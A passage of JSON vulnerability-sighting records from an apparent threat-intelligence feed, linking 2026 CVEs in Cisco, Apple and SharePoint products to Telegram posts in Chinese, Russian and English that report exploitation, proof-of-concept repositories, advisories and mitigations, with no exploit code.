"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "exploited", "source": "Telegram/c2YdDRKHEsuNGv6ndce3dpH0nZ5Ptmi5L6OPj0o4Jymgosmm", "content": "", "creation_timestamp": "2026-03-19T09:45:04.000000Z"}, {"uuid": "66840a06-2466-4a6e-939d-34af82468d44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "exploited", "source": "https://t.me/TengkorakCyberCrewzz/9102", "content": "Interlock Ransomware Exploits Cisco FMC Zero-Day CVE-2026-20131 for Root Access \u2013 thehackernews.com\n\nThu, 19 Mar 2026 00:00:00", "creation_timestamp": "2026-03-18T20:03:03.000000Z"}, {"uuid": "a73886df-bb37-449f-a97a-162545f7be48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/77659", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20079\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xBlackash\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-03-28 13:39:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20079\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-03-28T14:00:04.000000Z"}, {"uuid": "22a3f5cf-dcf5-46ec-9102-d8854fa8a199", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "exploited", "source": "https://t.me/captainsmok3r_official/289", "content": "\u203c\ufe0f Apple users  \u203c\ufe0f\nZero-day vuln (CVE-2026-20700) exploited in real attacks!\nUpdate to iOS 26.3 / macOS 26.3 NOW \u2192 Settings \u2192 Software Update\nProtect yourself!\nsource:\n1. https://nvd.nist.gov/vuln/detail/CVE-2026-20700\n2. https://thehackernews.com/2026/02/apple-fixes-exploited-zero-day.html", "creation_timestamp": "2026-02-15T23:33:36.000000Z"}, {"uuid": "18f06dea-a5b9-4ccf-9e36-c8a7deee88ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "published-proof-of-concept", "source": "https://t.me/bdufstecru/3053", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0441\u043c\u0435\u043d\u044b \u043f\u0430\u0440\u043e\u043b\u044f \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Cisco Integrated Management Controller (IMC) \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043e\u0431\u043e\u0439\u0442\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f admin \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u0430\n\nBDU:2026-04536\nCVE-2026-20093\n\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432. \u0412 \u0441\u0432\u044f\u0437\u0438 \u0441\u043e \u0441\u043b\u043e\u0436\u0438\u0432\u0448\u0435\u0439\u0441\u044f \u043e\u0431\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u0438 \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u043c\u0438 \u0441\u0430\u043d\u043a\u0446\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u043e\u0446\u0435\u043d\u043a\u0438 \u0432\u0441\u0435\u0445 \u0441\u043e\u043f\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0440\u0438\u0441\u043a\u043e\u0432.\n\n\u041a\u043e\u043c\u043f\u0435\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u044f \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (WAF) \u0434\u043b\u044f \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432;\n- \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0442\u0438 \u0441 \u0446\u0435\u043b\u044c\u044e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e \u0438\u0437 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u0434\u0441\u0435\u0442\u0435\u0439;\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u0445\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u043e \u00ab\u0431\u0435\u043b\u044b\u043c \u0441\u043f\u0438\u0441\u043a\u0430\u043c\u00bb;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 SIEM-\u0441\u0438\u0441\u0442\u0435\u043c \u0434\u043b\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438;\n- \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439;\n- \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435/\u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439;\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0441\u0435\u0442\u0435\u0439 (\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442).\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cimc-auth-bypass-AgG2BxTn", "creation_timestamp": "2026-04-03T12:59:31.000000Z"}, {"uuid": "5a639ed0-f89b-4ffd-9038-4cfdac132ec8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20084", "type": "published-proof-of-concept", "source": "https://t.me/bdufstecru/3043", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f DHCP-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Cisco IOS XE \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u043e\u0432 \u0441\u0435\u0440\u0438\u0438 Catalyst 9000 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u043c \u0440\u0430\u0441\u0445\u043e\u0434\u043e\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 BOOTP-\u043f\u0430\u043a\u0435\u0442\u043e\u0432\n\nBDU:2026-04161\nCVE-2026-20084\n\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432. \u0412 \u0441\u0432\u044f\u0437\u0438 \u0441\u043e \u0441\u043b\u043e\u0436\u0438\u0432\u0448\u0435\u0439\u0441\u044f \u043e\u0431\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u0438 \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u043c\u0438 \u0441\u0430\u043d\u043a\u0446\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u043e\u0446\u0435\u043d\u043a\u0438 \u0432\u0441\u0435\u0445 \u0441\u043e\u043f\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0440\u0438\u0441\u043a\u043e\u0432.\n\n\u041a\u043e\u043c\u043f\u0435\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n- \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0430\u0433\u0435\u043d\u0442\u0430 \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0446\u0438\u0438 DHCP \u043d\u0430 \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 BOOTP-\u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043f\u0443\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b: ip dhcp relay bootp ignore;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e;\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u0445\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u043e \u00ab\u0431\u0435\u043b\u044b\u043c \u0441\u043f\u0438\u0441\u043a\u0430\u043c\u00bb;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 SIEM-\u0441\u0438\u0441\u0442\u0435\u043c \u0434\u043b\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u0441\u043e\u0431\u044b\u0442\u0438\u0439, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 BOOTP-\u043f\u0430\u043a\u0435\u0442\u043e\u0432;\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0441\u0435\u0442\u0435\u0439 (\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442).\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-bootp-WuBhNBxA", "creation_timestamp": "2026-03-30T14:39:32.000000Z"}, {"uuid": "391a3070-2ade-45b4-bf2a-79d504f0f641", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20999", "type": "seen", "source": "https://t.me/GithubRedTeam/77928", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20999-my-thought\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a lasdjk\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-03-30 08:43:47\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nthis is my thought about CVE, please update fix immediately\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-03-30T09:00:04.000000Z"}, {"uuid": "19eef442-5d67-4deb-8c69-db2ee1bed769", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20687", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/77047", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a AppleSEPKeyStore-UAF-Panic\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a zeroxjf\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Objective-C\n\u2b50 Star\u6570\u91cf\uff1a 22  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 2\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-03-24 18:59:48\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20687: AppleSEPKeyStore Use-After-Free \u2014 iOS/macOS kernel vulnerability (patched in 26.4)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-03-24T19:00:04.000000Z"}, {"uuid": "0b00e88a-8f47-4100-bba7-13c5ec5e8691", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "exploited", "source": "https://t.me/information_security_channel/55017", "content": "CISA Warns of Attacks Exploiting Recent SharePoint Vulnerability\nhttps://www.securityweek.com/cisa-warns-of-attacks-exploiting-recent-sharepoint-vulnerability/\n\nThe SharePoint remote code execution vulnerability CVE-2026-20963, which Microsoft patched in January, has been exploited in the wild.\nThe post CISA Warns of Attacks Exploiting Recent SharePoint Vulnerability (https://www.securityweek.com/cisa-warns-of-attacks-exploiting-recent-sharepoint-vulnerability/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-03-19T11:13:21.000000Z"}, {"uuid": "da17d6c3-b19f-482e-bef1-151cc0896c4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "exploited", "source": "https://t.me/true_secator/8007", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Lookout Threat Labs \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442-\u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0442 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 iOS \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c DarkSword, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0448\u0438\u0440\u043e\u043a\u043e\u0433\u043e \u0441\u043f\u0435\u043a\u0442\u0440\u0430 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u043a\u0440\u0438\u043f\u0442\u043e\u043a\u043e\u0448\u0435\u043b\u044c\u043a\u043e\u0432.\n\nDarkSword \u043d\u0430\u0446\u0435\u043b\u0435\u043d \u043d\u0430 iPhone \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c iOS 18.4\u201318.7 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0433\u043e \u0435\u0433\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0430 Coruna,\u00a0\u0440\u0430\u0441\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0440\u0430\u043d\u0435\u0435 \u0432 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c DarkSword \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0434\u043b\u044f \u0430\u0442\u0430\u043a Coruna, \u043f\u043e\u0441\u0438\u043b\u044c\u043d\u0443\u044e \u043f\u043e\u043c\u043e\u0449\u044c Lookout \u0434\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u0432\u0441\u0435\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0435\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u044b \u043e\u043a\u0430\u0437\u0430\u043b\u0438 Google \u0438 iVerify.\n\n\u0412 \u043e\u0442\u0447\u0435\u0442\u0435 iVerify \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0432\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u0432 DarkSword, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0443 \u0442\u0438\u043f\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f, \u0437\u0430\u043f\u0438\u0441\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430, \u043e\u0448\u0438\u0431\u043a\u0438 \u044f\u0434\u0440\u0430, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0440\u0438 \u0437\u0430\u043f\u0438\u0441\u0438, \u0438 \u043e\u0448\u0438\u0431\u043a\u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u044f\u0434\u0440\u0430, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b (\u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b) \u0438 \u0443\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b Apple \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 iOS.\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2025-31277, CVE-2025-43529, CVE-2026-20700, CVE-2025-14174, CVE-2025-43510 \u0438 CVE-2025-43520.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043b\u0438\u0447\u043d\u043e\u0441\u0442\u044c 